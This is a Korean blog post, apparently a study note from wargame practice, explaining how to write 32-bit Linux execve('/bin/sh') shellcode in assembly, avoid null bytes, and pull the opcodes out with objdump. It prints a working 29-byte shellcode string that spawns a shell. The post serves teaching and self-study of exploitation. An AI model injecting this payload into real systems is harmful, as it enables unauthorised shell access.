nemo의 이야기
쉘 코드 본문
쉘 코드 : 쉘을 실행하는 코드 즉 기계어로 작성
execve를 이용해서 execve("/bin/sh,NULL") 코드를 어셈블리어로 작성해보자
execve에 인자를 esp를 기준으로 삼는다.
argv esp-8
0 esp-4
/bin esp
'//sh'
이런 형식으로 edx는 0을 넣기위해 xor로 초기화시켜준다.
4byte씩 맞추기 위해 /sh => //sh로 바꿔준다.
나머지 0으로 32비트를 8비트로 들어가려면 0으로 되므로 al을 사용해서 크기에 맞게 설정해줘야 된다.
shellcode를 실행시켜서 sh를 따냈으면 성공한 것이다.
이제 이 소스에 기계어를 확인해서 쉘코드를 작성할 것이다.
#> objdump -d shellcode를 사용하여 위와 같은 기계어 코드를 확인할 수 있을 것이다.
숫자들은 문자로 쓰기 위해 \x를 사용해서 넣어보자
"\x31\xd2\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x52\x50\x89\xc3\x31
\xc0\xb0\x0b\x89\xe1\xcd\x80"
29바이트에 쉘코드이다
'Information security > System security' 카테고리의 다른 글
워 게임(OverTheWire) narnia1 (0) | 2017.09.03 |
---|---|
워 게임(OverTheWire) narnia0 (0) | 2017.09.03 |
워게임(overthewire) leviathan5 (0) | 2017.08.25 |
워게임(overthewire) leviathan4 (0) | 2017.08.24 |
워 게임(overthwire) leviathan3 (0) | 2017.08.24 |
Comments